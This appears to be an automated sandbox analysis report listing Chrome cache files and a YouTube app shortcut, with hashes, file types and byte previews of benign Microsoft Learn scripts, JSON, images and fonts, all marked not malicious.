Preview:	L..................F.@.. ...$+.,....Q..hX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y-q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y-q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y-q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y-q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............8#......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9835384200470374
Encrypted:	false
SSDEEP:	48:8SddTFV7WHVidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbFlxy+yT+:8QnNT/TbxWOvTbfxy7T
MD5:	92DE33282B1017E37EF18C4B29F9D291
SHA1:	6B3E01BBC353A4F5816BFE0FB31C1C6CB13A5F2B
SHA-256:	18F3641084FE0EA576DFA1A62EAFEEF328059E1CD4F7206F24DB9EC47402D04D
SHA-512:	4D70CF8634ED9199EF6F8CBBBD3F00494F303883C1CD481330D3DC3500AB833328DCE85D345FC5EADD0FE12BA192CB7F2D80ADC30CA9F2F6CE04436F777BDDC1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......l.hX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y-q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y-q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y-q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y-q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............8#......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
